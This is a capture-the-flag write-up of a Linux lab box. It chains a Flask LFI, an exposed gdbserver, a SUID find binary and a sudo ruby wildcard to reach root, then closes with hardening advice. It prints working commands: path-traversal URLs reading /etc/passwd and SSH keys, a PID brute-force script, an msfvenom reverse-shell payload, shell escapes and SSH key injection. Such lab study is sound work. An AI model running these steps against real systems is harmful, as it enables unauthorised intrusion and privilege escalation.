Level: Medium
Date: May 10, 2026
Target IP: 10.112.150.67
1. What is user.txt?
2. What is root.txt
nmap -sCV -p 1-10000 -oN nmap/initial 10.112.150.67

Open ports found:
The website tells us some information about airplanes.

gobuster dir -u http://10.112.150.67:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,py,txt,bak,ssh -t 60

Found /airplane, which displays a very annoying visual saying "Let's fly".
I recognize the pattern of the URL from just doing a lot of CTFs and usually this is vulnerable to LFI.
http://airplane.thm:8000/?page=index.html
When trying to see the contents of /etc/passwd, the file's contents downloaded.
Let's check it out.
http://airplane.thm:8000/?page=../../../../../etc/passwd

Carlos and Hudson seems to be the users to target. (Line 47 & 49)

Maybe there is a way to get their rsa key's through LFI and then we can access the box with SSH.
http://airplane.thm:8000/?page=../../../../../../home/hudson/.ssh/id_rsa
http://airplane.thm:8000/?page=../../../../../../home/carlos/.ssh/id_rsa

But no file was found.
After some further digging:
There is however a python app app.py which we can try to look at.
?page=../../../../../../../../proc/self/cmdline

Found it by going back in the file system to ../app.py.

This is what makes the LFI vulnerability possible static/ and then nothing to regulate what request the user makes. Making it possible to read files on the server.
App Code:
from flask import Flask, send_file, redirect, render_template, request
import os.path
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
resp = send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "Page not found"
else:
return redirect('http://airplane.thm:8000/?page=index.html', code=302)
@app.route('/airplane')
def airplane():
return render_template('airplane.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
The app didn't really give me anything new, but using ../proc/self/environ tells me I am currently running as hudson.

I thought this might give me the user flag if it is located in Hudson's home folder but that wasn't possible either.

I wasn't finding anything that was interesting so I figured maybe the unknown port is running something.
/proc/net/tcp shows every active TCP-connection in the system. The column local-address is formatted as IP:PORT in hex, which means port 6048 in decimal becomes 0x17A0 in hex. By looking for 17A0 in the output, we can identify the row for port 6048, see that UID 1001 (hudson) owns the socket, and note the inode number associated with it.
Each running process has a directory at /proc/[PID]/fd/ containing its open file descriptors, including sockets, which can be matched against the inode. In practice, the faster approach was to brute-force /proc/[PID]/cmdline across all PIDs using the LFI, filter out known system processes, and let the script surface anything unusual.


Trying to brute-force PID's to get access to the service running on port 6048. But manually doing this is exhausting and will take too much time.
Time for scripting!
import requests
from concurrent.futures import ThreadPoolExecutor
ignore = ['python', 'bash', 'sh', 'systemd', 'gnome', 'ibus', 'dbus',
'kernel', 'kthread', 'migration', 'rcu', 'snapd', 'ssh',
'cups', 'avahi', 'pulse', 'Xorg', 'gdm', 'apt', 'dpkg']
def check_pid(pid):
url = f"http://airplane.thm:8000/?page=../../../../../proc/{pid}/cmdline"
r = requests.get(url, timeout=3)
if r.text and r.text != "Page not found":
if not any(word in r.text for word in ignore):
print(f"PID {pid}: {r.text}")
with ThreadPoolExecutor(max_workers=20) as executor:
executor.map(check_pid, range(1, 3000))
PID 528 is running gdbserver on the unknown port.

Reference: https://angelica.gitbook.io/hacktricks/network-services-pentesting/pentesting-remote-gdbserver
msfvenom -p linux/x64/shell_reverse_tcp LHOST=MYIP LPORT=4444 -f elf -o shell.elf
gdb-multiarch -q
nc -lnvp 4444
In gdb:
(gdb) target extended-remote 10.112.150.67:6048
(gdb) remote put shell.elf /tmp/shell.elf
(gdb) set remote exec-file /tmp/shell.elf
(gdb) run
And now we have a reverse shell.

The user flag is located in Carlos's home directory, but we are logged on as Hudson with no permission to read the file.

Unfortunately the .bash_history is being sent to /dev/null so we can't cat that out.
I also checked if there were any SUID set to hudson but I needed his password for that.

I did not find much with manual poking so I transferred LinPeas do some work.
There is a SUID on the find-command for Carlos.

GTFOBins is always clutch for priv esc with SUID.
https://gtfobins.org/gtfobins/find/
find . -exec /bin/sh -p \; -quit

And we have now gained access as Carlos, which means we can read the user flag.


I wanted a more stable shell since this reverse shell was unbearable. Special characters broke commands and attempting stabilization with Python PTY spawner didn't work either. Instead I generated a new RSA key pair on Kali, added the public key to Carlos's authorized_keys and connected via SSH for a proper interactive terminal.
Note: The box-timer ran out, therefore a different IP.





Carlos has a sudo-rule for ruby, let's go to GTFOBins again!
The wildcard-rule needs a .rb file in /root, which means we can't write to it straight away, but instead traverse the path with ../.


ruby -e 'exec "/bin/sh"'
With this misconfigured sudo-rule I gained root-access and was able to read the root-flag and the box was pwned!


/airplane endpoint, URL pattern
revealed LFI vulnerability via ?page= parameter/etc/passwd identifying users carlos
and hudson/proc/self/environ confirming app runs as
hudson, then /proc/net/tcp revealed unknown port 6048 owned by UID 1001/proc/[PID]/cmdline via LFI to identify
gdbserver running on port 6048 (PID 528)hudsonfind (owned by carlos) used to spawn
a shell as carlos via GTFOBinscarlos
authorized_keys for a stable shellruby /root/*.rb as root — path traversal via /../tmp/shell.rb bypassed
the restriction and spawned a root shell1. Local File Inclusion (LFI)
/?page=../../../../../etc/passwd
page parameter concatenated directly onto static/ with no sanitization/proc entries and /etc/passwd2. Exposed gdbserver
/usr/bin/gdbserver 0.0.0.0:6048 airplane
3. SUID on find
find . -exec /bin/sh -p \; -quit
find binary had SUID bit set for carloshudson to carlos via GTFOBins4. Misconfigured Sudo Rule
(ALL) NOPASSWD: /usr/bin/ruby /root/*.rb
*.rb does not prevent path traversalsudo /usr/bin/ruby /root/../tmp/shell.rb matches the rule but executes
an attacker-controlled file1. Input Validation
# Bad
page = 'static/' + request.args.get('page')
# Good
import os
page = os.path.join('static', os.path.basename(request.args.get('page')))
basename() or a strict allowlist of permitted files2. gdbserver Exposure
3. SUID Hardening
find / -perm -4000 -type f4. Sudo Wildcard Rules
5. SSH Key Management
Restrict write access to authorized_keys — world-writable .ssh directories allow key injection
Set correct permissions on .ssh folders and files:
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
chown user:user ~/.ssh/authorized_keys
Monitor authorized_keys for unauthorized entries
Disable password authentication in sshd_config and allow key-based login only
?page= parameters are almost always worth testing for LFI – no
sanitization of ../ is a critical mistake/proc/net/tcp leaks running services – hex-decode port numbers to
identify unknown listeners without direct shell accessfind
is easy to miss manually*.rb in /root/
does not prevent /../tmp/shell.rb// summary
A medium-difficulty Linux box on TryHackMe. A Flask app exposed a Local File Inclusion vulnerability via an unsanitized ?page= parameter, allowing enumeration of /etc/passwd and /proc entries. Reading /proc/net/tcp revealed an unrecognized service on port 6048 — PID brute-forcing via LFI confirmed it as gdbserver. An msfvenom ELF payload was uploaded and executed through the GDB remote protocol, yielding a shell as hudson. A SUID find binary owned by carlos enabled lateral movement, and SSH key injection provided a stable shell. Finally, a misconfigured sudo rule allowing ruby /root/*.rb was bypassed via path traversal to execute an attacker-controlled Ruby script as root.
A Flask app exposed an LFI vulnerability via an unsanitized `?page=` parameter, enabling enumeration of `/etc/passwd` and `/proc` entries. Reading `/proc/net/tcp` revealed an unrecognised service on port 6048 — PID brute-forcing via LFI confirmed it as `gdbserver`. An msfvenom ELF payload was uploaded and executed through the GDB remote protocol, yielding a shell as `hudson`. A SUID `find` binary owned by `carlos` enabled lateral movement, and SSH key injection provided a stable shell. Finally, a misconfigured sudo rule allowing `ruby /root/*.rb` was bypassed via path traversal to spawn a root shell.